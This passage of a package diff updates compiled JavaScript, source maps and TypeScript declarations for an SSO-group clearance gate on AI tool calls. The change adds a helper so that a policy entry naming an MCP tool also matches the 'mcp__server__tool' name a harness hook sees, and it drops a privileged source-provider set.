-exports.PRIVILEGED_SOURCE_PROVIDERS = new Set(['gdrive']);
 /** Type guard for a string arriving off the wire or from a config row. */
 function isSourceProvider(value) {
     return typeof value === 'string' && exports.SOURCE_PROVIDERS.includes(value);

package/dist/sourceProviders.js.map

@@ -1 +1 @@
-{"version":3,"file":"sourceProviders.js","sourceRoot":"","sources":["../src/sourceProviders.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;;GAgBG;;;AA4BH,4CAEC;AAED,gDAEC;AAhCD,qGAAqG;AACxF,QAAA,gBAAgB,GAAG,CAAC,QAAQ,EAAE,YAAY,EAAE,QAAQ,EAAE,QAAQ,CAAU,CAAA;AAIrF;;;;;;;GAOG;AACU,QAAA,kBAAkB,GAAG,CAAC,GAAG,wBAAgB,EAAE,QAAQ,CAAU,CAAA;AAI1E;;;;;GAKG;AACU,QAAA,2BAA2B,GAAwB,IAAI,GAAG,CAAC,CAAC,QAAQ,CAAC,CAAC,CAAA;AAEnF,0EAA0E;AAC1E,SAAgB,gBAAgB,CAAC,KAAc;IAC7C,OAAO,OAAO,KAAK,KAAK,QAAQ,IAAK,wBAAsC,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAA;AAC7F,CAAC;AAED,SAAgB,kBAAkB,CAAC,KAAc;IAC/C,OAAO,OAAO,KAAK,KAAK,QAAQ,IAAK,0BAAwC,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAA;AAC/F,CAAC"}
+{"version":3,"file":"sourceProviders.js","sourceRoot":"","sources":["../src/sourceProviders.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;;GAgBG;;;AAoBH,4CAEC;AAED,gDAEC;AAxBD,qGAAqG;AACxF,QAAA,gBAAgB,GAAG,CAAC,QAAQ,EAAE,YAAY,EAAE,QAAQ,EAAE,QAAQ,CAAU,CAAA;AAIrF;;;;;;;GAOG;AACU,QAAA,kBAAkB,GAAG,CAAC,GAAG,wBAAgB,EAAE,QAAQ,CAAU,CAAA;AAI1E,0EAA0E;AAC1E,SAAgB,gBAAgB,CAAC,KAAc;IAC7C,OAAO,OAAO,KAAK,KAAK,QAAQ,IAAK,wBAAsC,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAA;AAC7F,CAAC;AAED,SAAgB,kBAAkB,CAAC,KAAc;IAC/C,OAAO,OAAO,KAAK,KAAK,QAAQ,IAAK,0BAAwC,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAA;AAC/F,CAAC"}

package/dist/ssoGroupClearance.d.ts

@@ -22,7 +22,10 @@
  *
  * Names and groups match exactly — no case folding, no patterns — because
  * that is what the server has always done and a gate that matched more loosely
- * would refuse calls the server allows.
+ * would refuse calls the server allows. The one widening is MCP's two names
+ * for one tool ({@link ssoGroupToolMatches}): an entry naming the tool as its
+ * server declares it (`run_query`) also matches the name a harness hook sees
+ * (`mcp__postgres__run_query`), at every gate.
  *
  * @module
  */
@@ -65,10 +68,23 @@ export declare const SsoGroupPolicySchema: z.ZodObject<{
 export declare function parseSsoGroupPolicy(value: unknown): SsoGroupPolicy | null;
 /** A rule id that survives `ruleIdFromReason` (`[A-Za-z0-9_.:-]`). */
 export declare function ssoGroupRuleId(kind: 'require_obo' | 'high_risk', toolName: string): string;
+/**
+ * Whether a call that goes by `name` is the tool a policy entry names.
+ *
+ * Exactly, or — for an entry that is an MCP tool's own name, not starting
+ * with `mcp__` — as the name a harness hook gives that tool on any server:
+ * `mcp__<server>__<entry>`, the server part non-empty. The MCP proxy sees
+ * `run_query` where Claude Code's hook sees `mcp__postgres__run_query`, so
+ * without this an entry written one way held at one gate and not the other.
+ * An entry that already names the harness form (`mcp__postgres__run_query`)
+ * matches only that server's tool.
+ */
+export declare function ssoGroupToolMatches(entry: string, name: string): boolean;
 /**
  * Decides one tool call. `toolNames` is every name the call goes by — the MCP
  * proxy sees `create_issue` where a harness hook sees
- * `mcp__github__create_issue` — and a policy entry naming any of them applies.
+ * `mcp__github__create_issue` — and a policy entry naming any of them applies
+ * ({@link ssoGroupToolMatches}). The rule id and reason name the entry.
  * `memberGroups` null means the caller does not know the member's groups.
  */
 export declare function evaluateSsoGroupClearance(policy: SsoGroupPolicy | null, toolNames: string | readonly string[], memberGroups: readonly string[] | null): SsoGroupDecision;

package/dist/ssoGroupClearance.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"ssoGroupClearance.d.ts","sourceRoot":"","sources":["../src/ssoGroupClearance.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;GA2BG;AAEH,OAAO,EAAE,CAAC,EAAE,MAAM,KAAK,CAAA;AAEvB,OAAO,KAAK,EAAE,iBAAiB,EAAE,cAAc,EAAE,MAAM,kBAAkB,CAAA;AAEzE,MAAM,WAAW,gBAAgB;IAC/B,SAAS,EAAE,iBAAiB,CAAA;IAC5B,sFAAsF;IACtF,MAAM,EAAE,MAAM,GAAG,IAAI,CAAA;IACrB,yDAAyD;IACzD,MAAM,EAAE,MAAM,CAAA;CACf;AAUD;;;;;GAKG;AACH,eAAO,MAAM,oBAAoB;;;;;;;;;;;;EAMtB,CAAA;AAEX;;;;;;;GAOG;AACH,wBAAgB,mBAAmB,CAAC,KAAK,EAAE,OAAO,GAAG,cAAc,GAAG,IAAI,CAUzE;AAED,sEAAsE;AACtE,wBAAgB,cAAc,CAAC,IAAI,EAAE,aAAa,GAAG,WAAW,EAAE,QAAQ,EAAE,MAAM,GAAG,MAAM,CAE1F;AAED;;;;;GAKG;AACH,wBAAgB,yBAAyB,CACvC,MAAM,EAAE,cAAc,GAAG,IAAI,EAC7B,SAAS,EAAE,MAAM,GAAG,SAAS,MAAM,EAAE,EACrC,YAAY,EAAE,SAAS,MAAM,EAAE,GAAG,IAAI,GACrC,gBAAgB,CA2BlB;AAID;;;;;;GAMG;AACH,MAAM,WAAW,cAAc;IAC7B,MAAM,EAAE,cAAc,CAAA;IACtB,MAAM,EAAE;QAAE,QAAQ,EAAE,MAAM,CAAC;QAAC,SAAS,EAAE,MAAM,EAAE,CAAA;KAAE,GAAG,IAAI,CAAA;IACxD,QAAQ,EAAE,MAAM,CAAA;CACjB;AAED;;;;;;;GAOG;AACH,eAAO,MAAM,oBAAoB,gBAAgB,CAAA;AAYjD,2EAA2E;AAC3E,wBAAgB,oBAAoB,CAAC,MAAM,EAAE,cAAc,GAAG,MAAM,CAEnE;AAED,0EAA0E;AAC1E,wBAAgB,oBAAoB,CAAC,IAAI,EAAE,MAAM,GAAG,cAAc,GAAG,IAAI,CAgBxE"}
+{"version":3,"file":"ssoGroupClearance.d.ts","sourceRoot":"","sources":["../src/ssoGroupClearance.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA8BG;AAEH,OAAO,EAAE,CAAC,EAAE,MAAM,KAAK,CAAA;AAEvB,OAAO,KAAK,EAAE,iBAAiB,EAAE,cAAc,EAAE,MAAM,kBAAkB,CAAA;AAEzE,MAAM,WAAW,gBAAgB;IAC/B,SAAS,EAAE,iBAAiB,CAAA;IAC5B,sFAAsF;IACtF,MAAM,EAAE,MAAM,GAAG,IAAI,CAAA;IACrB,yDAAyD;IACzD,MAAM,EAAE,MAAM,CAAA;CACf;AAUD;;;;;GAKG;AACH,eAAO,MAAM,oBAAoB;;;;;;;;;;;;EAMtB,CAAA;AAEX;;;;;;;GAOG;AACH,wBAAgB,mBAAmB,CAAC,KAAK,EAAE,OAAO,GAAG,cAAc,GAAG,IAAI,CAUzE;AAED,sEAAsE;AACtE,wBAAgB,cAAc,CAAC,IAAI,EAAE,aAAa,GAAG,WAAW,EAAE,QAAQ,EAAE,MAAM,GAAG,MAAM,CAE1F;AAED;;;;;;;;;;GAUG;AACH,wBAAgB,mBAAmB,CAAC,KAAK,EAAE,MAAM,EAAE,IAAI,EAAE,MAAM,GAAG,OAAO,CAKxE;AAgBD;;;;;;GAMG;AACH,wBAAgB,yBAAyB,CACvC,MAAM,EAAE,cAAc,GAAG,IAAI,EAC7B,SAAS,EAAE,MAAM,GAAG,SAAS,MAAM,EAAE,EACrC,YAAY,EAAE,SAAS,MAAM,EAAE,GAAG,IAAI,GACrC,gBAAgB,CA2BlB;AAID;;;;;;GAMG;AACH,MAAM,WAAW,cAAc;IAC7B,MAAM,EAAE,cAAc,CAAA;IACtB,MAAM,EAAE;QAAE,QAAQ,EAAE,MAAM,CAAC;QAAC,SAAS,EAAE,MAAM,EAAE,CAAA;KAAE,GAAG,IAAI,CAAA;IACxD,QAAQ,EAAE,MAAM,CAAA;CACjB;AAED;;;;;;;GAOG;AACH,eAAO,MAAM,oBAAoB,gBAAgB,CAAA;AAYjD,2EAA2E;AAC3E,wBAAgB,oBAAoB,CAAC,MAAM,EAAE,cAAc,GAAG,MAAM,CAEnE;AAED,0EAA0E;AAC1E,wBAAgB,oBAAoB,CAAC,IAAI,EAAE,MAAM,GAAG,cAAc,GAAG,IAAI,CAgBxE"}